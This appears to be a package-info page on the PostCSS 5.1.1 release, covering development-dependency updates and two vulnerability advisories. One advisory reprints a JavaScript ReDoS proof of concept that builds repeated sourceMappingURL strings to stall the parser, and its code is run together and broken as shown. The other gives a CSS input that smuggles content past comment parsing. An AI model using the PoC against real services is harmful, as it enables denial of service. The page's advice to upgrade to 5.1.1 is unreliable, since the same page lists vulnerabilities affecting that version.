PostCSS, a versatile tool for transforming styles with JavaScript plugins, saw a minor version update from 5.1.0 to 5.1.1. While both versions share the same core dependencies like js-base64, source-map, and supports-color, the key differences lie in their development dependencies, indicating improvements in the development workflow and testing environments.
Specifically, eslint was updated from version 3.0.1 to 3.1.1, reflecting potential enhancements in code linting and style consistency enforcement. The yaspeller dependency also saw an update from 2.8.1 to 2.8.2, suggesting improvements in spell-checking capabilities for the codebase. A notable update is also in babel-core, moving from 6.10.4 to 6.11.4, showcasing upgrades to the JavaScript transpilation process. These updates are crucial for developers as they signify improvements in code quality, maintainability, and potentially better support for newer JavaScript features during the development phase. While the core functionality of PostCSS might remain largely the same, these development dependency updates contribute to a more robust and reliable development experience, indirectly benefiting users by ensuring a more stable and well-maintained library. If you're using PostCSS, upgrading to 5.1.1 ensures you're leveraging the latest improvements in the development ecosystem surrounding the library. This includes better linting, spell-checking, and JavaScript transpilation, contributing to a smoother workflow and potentially higher quality code.
All the vulnerabilities related to the version 5.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.